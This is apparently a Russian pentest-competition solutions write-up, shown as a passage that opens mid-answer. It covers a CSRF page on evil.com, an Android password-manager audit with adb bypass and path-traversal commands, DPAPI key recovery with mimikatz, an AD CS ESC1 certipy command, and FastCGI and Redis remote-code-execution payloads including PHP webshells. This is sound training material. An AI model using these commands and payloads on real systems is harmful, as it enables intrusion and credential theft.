    <input type="hidden" name="new_password" value="hacked">
  </form>

  <script>
    setTimeout(function() {
      document.getElementById('f').submit();
    }, 1000);
  </script>
</body>
</html>
  • Злоумышленник отправляет ссылку https://evil.com/exploit.html администратору. Администратор, будучи аутентифицированным в приложении, переходит по ссылке
  • После выполнения атаки злоумышленник авторизуется под учётной записью администратора с новым паролем
  • С помощью уязвимости Local File Disclosure получаем доступ к файлам хранящимся на сервере
  • С помощью уязвимости уязвимость SSRF — получение доступа к внутренней сетевой инфраструктуре.
Вопрос 6

Привет, давно не виделись! Слышал, ты пентестером мобилок работаешь. А я решил
свой стартап открыть: менеджер паролей для Android делаю. Богатым скоро буду!
Пожалуйста, проверь на безопасность моё приложение перед тем, как оно покорит
вершину загрузок в play маркете. Если вдруг что-то найдёшь, то придумай сценарий атаки и предложи варианты устранения уязвимости. Хотя сразу скажу, что шансы малы: мой платный ИИ-агент пишет код, как сеньор с 20ти-летним стажем. По поводу оплаты договоримся чуть позже, а то я все деньги на ИИ-агента потратил.

Ссылка на скачивание приложения: https://github.com/testdsec/SOH2026/tree/main/task_6

Ваша задача — проверить на безопасность это приложение, придумать возможные сценарии атаки и предложить варианты устранения обнаруженных уязвимостей.

Решение: Описание приложения

По легенде Dmitry Chudakov решил с помощью LLM написать свой менеджер паролей VibePass ( ru.chudakov.vibepass ) и отдать его на анализ своему старому другу-безопаснику.

Приложение при первом запуске предлагает создать БД с паролями.

Для БД нужен пароль минимум из 8 символов.


Далее нужно придумать пин-код быстрой разблокировки. Он используется, чтобы не
вводить каждый раз пароль. БД может быть либо «закрыта» и надо вводить пароль, либо «открыта» и надо ввести 4х-значный ПИН-код.


Наконец, можно добавлять, изменять и удалять записи.


Основной экран содержит список записей, а также кнопки добавления новой записи + ,
открытия настроек ⚙ и кнопку блокировки БД 🔒 .


Разбор уязвимостей

Первые недостатки можно обнаружить уже при первом использовании приложения (без реверс инжениринга). Для обнаружения уязвимостей нужно будет открыть приложение в Jadx и изучить AndroidManifest.xml , а также исходный код классов на Java . Обфускация к приложению не применялась. Проверки на root-доступ, frida и.т.д также отсутствуют для облегчения анализа.

Небезопасное копирование пароля

Уязвимость заключаются в следующем:

  1. При копировании пароль показывается на экране в открытом виде, т.е кто-то за
    спиной сможет его подсмотреть. Для того, чтобы содержимое скрывалось, нужно
    добавить код из документации:
    // If your app is compiled with the API level 33 SDK or higher.
    PersistableBundle extras = new PersistableBundle();
    extras.putBoolean(ClipDescription.EXTRA_IS_SENSITIVE, true);
    clipData.getDescription().setExtras(extras);
    // If your app is compiled with API level 32 SDK or lower.
    PersistableBundle extras = new PersistableBundle();
    extras.putBoolean("android.content.extra.IS_SENSITIVE", true);
    clipData.getDescription().setExtras(extras);
  2. Пароль не удаляется из буфера обмена. Лучшей практикой является очистка буфера обмена через N секунд после копирования.
Отсутствие счётчика попыток ввода ПИН-кода быстрой разблокировки

Если пользователь вышел из приложения, не закрыв БД нажатием 🔒 , то БД остаётся
открытой и приложение запрашивает ПИН-код. Можно заметить, что количество попыток ввода ПИН-кода не ограничено. Можно автоматически или вручную перебрать 4х-значный ПИН-код и получить доступ к паролям.

Для исправления уязвимости нужно ввести счётчик попыток и хранить его в shared
preferences . Ещё одной хорошей практикой является автоматическая блокировка БД
через N минут после неиспользования.

Утечка мастер-пароля и ПИН-кода в логах приложения

Если посмотреть логи через ADB, то можно увидеть, что логируются все вводимые
пользователем данные, в том числе мастер-пароль и ПИН-код. Также это можно найти по исходникам.

Возможность кражи данных через бэкап

В AndroidManifest.xml указан атрибут android:allowBackup=true и не указан файл с
правилами бэкапа. Значит через бэкап можно получить содержимое внутреннего
хранилища (только на Android 12 и ниже).
Решением проблемы является либо запрет создания резервных копий через android:allowBackup=false либо явное указание набора файлов для бэкапа через ключи android:fullBackupContent и android:dataExtractionRules.

Локальный обход аутентификации в MainActivity

Для поиска уязвимости необходимо открыть приложение в Jadx и посмотреть
AndroidManifest.xml. Там находим экран MainActivity, который доступен извне
(exported=true). Он обязан быть экспортированным, поскольку является главным
экраном приложения (launcher)

Изучив исходный код MainActivity приходим к выводу, что любое сторонее приложение может отправить intent с полем authSucceeded=true приложению VibePass , в результате чего сразу откроется менеджер паролей без аутентификации.

Пример эксплуатации через adb:
adb shell am start -n 'ru.chudakov.vibepass/ru.chudakov.vibepass.MainActivity' --ez authSucceeded true

Для устранения уязвимости необходимо сделать так, чтобы значение authSucceeded не могло быть получено извне. Например, использовать Shared Preferences вместо
Intent .

Локальный обход аутентификации через deeplink

Для поиска уязвимости необходимо открыть приложение в Jadx и посмотреть
AndroidManifest.xml. Там находим экран DeeplinkActivity, который доступен извне
(exported=true). Данный экран имеет обработчик диплинков.

По задумке автора должно быть 3 ссылки:

  • vibepass://vault/settings
  • vibepass://vault/passwords
  • vibepass://app/about
    Первые 2 с аутентификацией, а последняя — без. В коде находим подтверждение: если
    uri.getHost() == "vault", то происходит запуск MainActivity с authSucceeded=false и приложение потребует аутентификацию. Иначе MainActivity будет запущена со значением authSucceeded=true и откроется окно об авторе без доступа к функционалу.

Уязвимость заключается в том, что злоумышленник может подсунуть ссылку вида
vibepass://app/passwords вместо vibepass://app/about, поскольку на самом деле
диплинк в Android может содержать все комбинации scheme, host и pathPattern ,
указанные в <data> (механизм обработки ссылок реально запутывает). В результате
получаем возможность локального обхода аутентификации при открытии диплинка:
adb shell am start -d 'vibepass://app/passwords' -a 'android.intent.action.VIEW'

Возможность получения логов vibepass любым приложением

Для поиска уязвимости необходимо открыть приложение в Jadx и посмотреть
AndroidManifest.xml. Там находим провайдер LogsExportProvider, который доступен извне (exported=true). Видно, что разработчик хотел ограничить доступ к провайдеру случайной строкой символов. Однако для реверс-инженера это не является преградой.

В лог-файле есть дебаг-логи с мастер-паролем в отрытом виде.

Получить лог-файл можно командой:
adb shell content read --uri content://ru.chudakov.vibepass/logs/ly8pdwVLhai0mCTN/log_2026-03-25.txt
Название лог-файла выводится в logcat.

Кража файлов из внутреннего хранилища

Как мы ранее выяснили, провайдер LogsExportProvider доступен извне любому
приложению и позволяет читать логи. Однако в этом провайдере есть ещё одна
уязвимость Path Traversal .

Функция uri.getLastPathSegment() позволяет получить название файла из пути.
Например, из /aaa/bbb/ccc будет получена строка ccc . Однако данная функция может быть уязвима к Path Traversal , поскольку может принимать urlencoded-значения. В результате путь /aaa/bbb/..%2Fccc будет декодирован в /aaa/bbb/../ccc , что позволяет выйти за границы текущей директории.

Украсть shared preferences с ПИН-кодом можно командой:
adb shell content read --uri content://ru.chudakov.vibepass/logs/ly8pdwVLhai0mCTN/..%2F..%2Fshared_prefs%2Fvibepass.xml
Украсть разблокированную БД можно командой:
adb shell content read --uri content://ru.chudakov.vibepass/logs/ly8pdwVLhai0mCTN/..%2F..%2Fdatabases%2FVibePass.db > VibePass.db

Хранение ПИН-кода разблокировки в открытом виде

После анализа исходного кода или заглянув во внутреннее хранилище, можно увидеть,
что ПИН-код хранится в открытом виде. Если в приложении найдётся уязвимость,
приводящая к краже файлов из хранилища, то можно будет похитить ПИН-код. Проблема решается внедрением шифрования.

Хранение разблокированной БД в открытом виде

После анализа исходного кода или заглянув во внутреннее хранилище, можно увидеть,
что после ввода мастер-пароля расшифрованная БД с паролями лежит в открытом виде
во внутреннем хранилище (VibePass.db — расшифрованная, а VibePass.db.locked
шифруется после блокировки хранилища). Если в приложении найдётся уязвимость,
приводящая к краже файлов из хранилища, то можно будет похитить БД с паролями. Для решения проблемы нужно использовать библиотеки, которые умеют расшифровывать БД в память без записи на диск: sqlcipher , tink и др.

Возможность восстановления ключа шифрования от БД

После анализа исходного кода класса VaultManager можно увидеть, что ключ
шифрования БД с паролями происходит от даты первой установки приложения
( timestamp ) и захардкоженных 8ми байт. То есть возможно получить ключ шифрования от БД.

Для устранения данной уязвимости необходимо использовать KeyStore для операций
шифрования, генерации и хранения ключей.

Сценарии атак
  • Физический доступ к телефону:
    • Локальный обход аутентификации в MainActivity
    • Локальный обход аутентификации через Deeplink
  • Вредоносное приложение:
    • Кража мастер-пароля от Vault через LogsExportProvider . Далее кража телефона и доступ к паролям
    • Если Vault не заблокирован, то возможна кража расшифрованной БД с паролями через path traversal
    • Если Vault заблокирован, то возможна кража зашифрованной БД с паролями через path traversal с последующим расшифрованием, т.к. составляющие ключа мы можем получить
Вопрос 7

Восстановите сертификат и закрытый ключ (выпущен MOYKA ROOT CA), сохраненный в локальном хранилище машины Windows (доступном в оснастке certlm.msc).
Для решения задания вам дан дамп файлов https://github.com/testdsec/SOH2026/tree/main/task_7, необходимых для восстановления.
В качестве доказательства решения укажите сертификат и закрытый ключ в формате PEM, а также пошаговую инструкцию по их восстановлению.

Решение: Восстанавливаем мастер-ключи DPAPI машины:
for guid in "340bc26b-934e-4c87-b3fd-a876b3233d3e" "969458fd-aa12-4ae2-8ec3-a54e95f1ae1c" "c6859e4a-bfd8-46bf-86e7-2574c4b59eb2"; do key=$(dpapi.py masterkey -file "Windows/System32/Microsoft/Protect/S-1-5-18/$guid" -system Windows/System32/config/SYSTEM -security Windows/System32/config/SECURITY 2>/dev/null | grep "Decrypted key:" | cut -d ' ' -f 3 | xxd -r -p | sha1sum | cut -d ' ' -f 1); echo "{$guid}:$key"; done

Восстанавливаем закрытый ключ:

SharpDPAPI.exe certificates /machine /mkfile:mkfile.txt /target:ProgramDataMicrosoftCryptoRSAMachineKeysfc58e716dd94cece30c087d4db914620_e1d345bd-ebc1-4d50-8b78-3f3e787e0953 /showall

Для восстановления сертификата загружаем куст Windows/System32/config/SOFTWARE:

По пути Microsoft > SystemCertificates > MY > Certificates > DB74D352754B27D58F8DA91B772F223718922619 по ключу Blob находим сериализованный сертификат:

Экспортируем этот ключ, после чего форматируем его в формате DER:

mimikatz.exe "crypto::system /file:publickey /export" "exit"

Конвертируем в PEM:

openssl x509 -in publickey.der -inform der

Вопрос 8

В ходе тестирования вы получили доступ к AD CS от имени пользователя, состоящего в группе Domain Users. Собрав данные конфигурации AD CS вы видите такой шаблон сертификата. Какая уязвимость скрыта в нём? Приведи пример команды для её эксплуатации.

    Template Name                       : ForClient
    Display Name                        : ForClient
    Certificate Authorities             : Antique_CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 5 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 1024
    Template Created                    : 2019-06-22T10:02:18+00:00
    Template Last Modified              : 2026-12-22T11:36:18+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : PENTEST.LOCALAuthenticated Users
      Object Control Permissions
        Owner                           : PENTEST.LOCALAdmin
        Full Control Principals         : PENTEST.LOCALDomain Admins
                                          PENTEST.LOCALEnterprise Admins
        Write Owner Principals          : PENTEST.LOCALDomain Admins
                                          PENTEST.LOCALEnterprise Admins
        Write Dacl Principals           : PENTEST.LOCALDomain Admins
                                          PENTEST.LOCALEnterprise Admins
        Write Property Enroll           : PENTEST.LOCALDomain Admins
                                          PENTEST.LOCALEnterprise Admins
Решение: В параметре Enrollment Rights указано значение PENTEST.LOCALAuthenticated Users. Это означает что пользоваться данным шаблоном сертификата могут любые пользователи данной группы.
В параметре Enrollee Supplies Subject указано значение True. Это означает что пользователь, использующий шаблон может указать любого принципала в сертификате.
Указан Extended Key Usage: Client Authentication, это позволяет впоследствии использовать выданный сертификат для удостоверения в системе (для Kerberos/LDAP-аутентификации под именем пользователя указанного в сертификате).
Также шаблон не требует одобрения запроса (Requires Manager Approval: False) и дополнительной его подписи другим доверенным сертификатом (Authorized Signatures Required: 0).Сумма этих конфигураций позволяет любому пользователю группы PENTEST.LOCALAuthenticated Users получить сертификат на имя другого пользователя с высокими правами, например PENTEST.LOCALAdmin и использовать сертификат для аутентификации под его именем. Эта атака на Active Directory Certificate Services (AD CS) также известна как ESC1.

Команда для эксплуатации:

certipy-ad req -target <ip> -ca ‘Antique_CA’ -template ‘ForClient’ -upn ‘admin@pentest.local’
Вопрос 9

При проведении анализа защищённости внешнего периметра компании TargetCorp вы обнаружили сервер с IP-адресом 2.12.85.6. Ниже приведены результаты сканирования портов и взаимодействия с обнаруженными сервисами.

  1. Определите уязвимости, которые вы видите в представленных данных.
  2. Для каждой уязвимости укажите: описание уязвимости, риск, шаги по эксплуатации с примерами команд.
  3. Опишите цепочку атаки, которая позволит получить доступ к серверу.
    Результаты сканирования Nmap
    $ nmap -sV -sC -p- 2.12.85.6
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp open http nginx/1.18.0 (Ubuntu)
| http-title: TargetCorp — Corporate Portal
6379/tcp open redis Redis key-value store 7.0.11
8080/tcp open http-proxy Adminer 4.6.1
| http-title: Adminer — Login
9000/tcp open fastcgi PHP-FPM 8.1.2
#### Взаимодействие с Redis (порт 6379):

```bash
$ redis-cli -h 2.12.85.6
2.12.85.6:6379> PING
PONG

2.12.85.6:6379> INFO server
# Server
redis_version:7.0.11
os:Linux 5.15.0-91-generic x86_64

2.12.85.6:6379> KEYS *
1) "session:admin:9f3a2b"
2) "config:database"
3) "cache:page:main"
Взаимодействие с Adminer (порт 8080)

При обращении к http://2.12.85.6:8080/ открывается интерфейс Adminer 4.6.1 с формой входа. Поддерживается подключение к MySQL.

Взаимодействие с PHP-FPM / FastCGI (порт 9000):
$ cgi-fcgi -bind -connect 2.12.85.6:9000
Connection refused? No - connection established.

$ python3 fcgi_exploit.py 2.12.85.6 9000 /var/www/html/index.php

X-Powered-By: PHP/8.1.2
Content-type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
<head><title>TargetCorp - Corporate Portal</title></head>
...
Взаимодействие с веб-приложением (порт 80):
$ curl -I http://2.12.85.6/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: PHP/8.1.2
Set-Cookie: PHPSESSID=abc123; path=/; HttpOnly

$ curl http://2.12.85.6/robots.txt
User-agent: *
Disallow: /admin/
Disallow: /backup/ 

$ curl http://2.12.85.6/backup/
<title>Index of /backup/</title>
<a href="db_dump_2024-01-15.sql.gz">db_dump_2024-01-15.sql.gz</a>   15-Jan-2024 03:00  2.4M
<a href="site_config.tar.gz">site_config.tar.gz</a>              15-Jan-2024 03:00  156K
Решение 1. Открытая директория с резервными копиями

В robots.txt указан путь /backup/, directory listing включён. Доступны файлы db_dump_2024-01-15.sql.gz и site_config.tar.gz.

2. Redis без аутентификации

Redis на порту 6379 доступен извне без какой-либо аутентификации.
Это позволяет:

  • Читать произвольные ключи, включая конфигурацию БД и сессии пользователей.
  • Из ключа config:database можно получить учётные данные ДБ.
  • Из ключа session:admin:9f3a2b можно получить информацию о сессии администратора.
  • Потенциально — записать SSH-ключ через CONFIG SET dir /root/.ssh и CONFIG SET dbfilename authorized_keys (если Redis работает от root).
3. Adminer доступен извне

Adminer 4.6.1 на порту 8080 доступен без ограничений. Используя учётные данные из Redis, можно подключиться к базе данных БД через Adminer.
Также возможна эксплуатация CVE-2021-43008 для чтения файлов в системе.
Также возможна запись веб-шелла через SELECT .. INTO OUTFILE при наличии привилегии FILE.

4. PHP-FPM / FastCGI доступен извне без аутентификации

Если порт открыт наружу, атакующий может напрямую отправлять FastCGI-запросы и выполнять произвольный PHP-код.

Передаём PHP_VALUE: auto_prepend_file = php://input и в теле FastCGI-запроса — произвольный PHP-код. PHP-FPM выполнит его перед обработкой основного скрипта.

#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" # Команда
FILENAMES="/var/www/public/index.php" # Путь к существующему файлу
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i 
PHP_VALUE="allow_url_include=1"$'n'"allow_url_fopen=1"$'n'"auto_prepend_file='data://text/plain;base64,$B64'" 
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST 
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
Альтернативный вектор через Redis + FastCGI:

Cвязка Redis + FastCGI позволяет получить RCE: через неаутентифицированный Redis записываем PHP-файл на диск (CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SET payload '<?php system($_GET["cmd"]); ?>'; SAVE), а затем обращаемся к нему через FastCGI.

Альтернативный вектор через MySQL + FastCGI:

Cвязка MySQL + FastCGI позволяет получить RCE: через SQL записываем веб-шелл при наличии привилегии FILE через SELECT .. INTO OUTFILE, а затем обращаемся к нему через FastCGI.

5. Раскрытие информации через robots.txt и серверные заголовки

robots.txt раскрывает существование /admin/ и /backup/. Заголовки ответа раскрывают версии ПО: nginx/1.18.0, PHP/8.1.2. Это помогает атакующему в разведке.

Цепочки эксплуатации Вектор 1: FastCGI (кратчайший путь к RCE)
  1. Отправляем FastCGI-запрос с PHP_VALUE: auto_prepend_file = php://input и PHP-кодом в теле.
    #!/bin/bash
    PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" # Команда
    FILENAMES="/var/www/public/index.php" # Путь к существующему файлу
    HOST=$1
    B64=$(echo "$PAYLOAD"|base64)
    for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i 
    PHP_VALUE="allow_url_include=1"$'n'"allow_url_fopen=1"$'n'"auto_prepend_file='data://text/plain;base64,$B64'" 
    SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST 
    cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
    cat $OUTPUT
    done
  2. Получаем RCE с правами www-data.
Вектор 2: Redis → Adminer → SQL INTO OUTFILE → RCE
  1. Подключение к Redis без аутентификации → получение учётных данных MySQL из ключа config:database.
  2. Вход в Adminer (порт 8080) с полученными кредами → доступ к базе данных.
  3. Записываем веб-шелл при наличии привилегии FILE через SELECT .. INTO OUTFILE, а затем обращаемся к нему через FastCGI или nginx.
Вектор 3: Redis → запись SSH-ключа:
  1. Через Redis: CONFIG SET dir /root/.ssh; CONFIG SET dbfilename authorized_keys.
  2. SET key "nnssh-rsa AAAA...attacker_key...nn"; SAVE.
  3. SSH-подключение с приватным ключом атакующего → доступ с привилегиями root
Вектор 4: Redis → запись PHP-шелла через webroot:
  1. CONFIG SET dir /var/www/html; CONFIG SET dbfilename rce.php.
  2. SET payload '<?php system($_GET["c"]); ?>'; SAVE.
  3. Обращаемся к http://2.12.85.6/rce.php?c=id → RCE.
Вопрос 10 Вопрос 10.1

Вы получили шелл с правами пользователя user, файл /etc/shadow имеет следующие права -rw----rw- root user /etc/shadow.
Можно ли повысить привилегии в таком случае? Если можно, то как? Если нельзя, опишите почему и есть ли способы обхода?

Вопрос 10.2

Какой будет ответ, если у пользователя user будет такой набор групп: user cdrom vboxusers docker, а разрешения у файла /etc/shadow будут -rw----rw- root adm /etc/shadow?

Решение: 10.1 Пользователь user НЕ может в данном случае писать в /etc/shadow так как состоит в группе user и linux сначала проверяет группу и отказывает в доступе, несмотря на то что стоит флаг на запись/чтение ВСЕМ.
Повысить привилегии можно воспользовавшись учётной записью другого пользователя, не состоящего в группе user. 10.2 Во данном случае повышение возможно т.к. у файла без привилегий группа adm, а пользователь user в ней не состоит. 

Схожие новости

#Наименование новостиТональностьИнформативностьДата публикации
1Кейс: Один забытый архив университета012.8623-07-2026
2Эксперт: Почему важно сообщать об утечке персональных данных0714-07-2026
3Кибератаки на российские компании перестали быть примитивными. Теперь почти половина - сложные DDoS-атаки0706-07-2026
45 Best Kubernetes Security Tools in 2026: Full Breakdown0506-05-2026
5Грушко: российские госучреждения и банки подвергаются мощнейшим хакерским атакам0015-11-2018
6ГП нейтрализовала 10 тыс. хакерских атак на инфраструктуру ведомства0016-09-2025
7Шойгу: международный форум по безопасности пройдет в России в 2026 году0016-09-2025
8В ИИ-приложениях почти каждая третья уязвимость является высокорисковой0703-07-2026
9В ИИ-приложениях почти каждая третья уязвимость является высокорисковой0703-07-2026

Классификация: Партнеры. Схожих патентов: 0. Схожих новостей: 9. Тональность: 0. Информативность: 17.48. Источник: dsec.ru.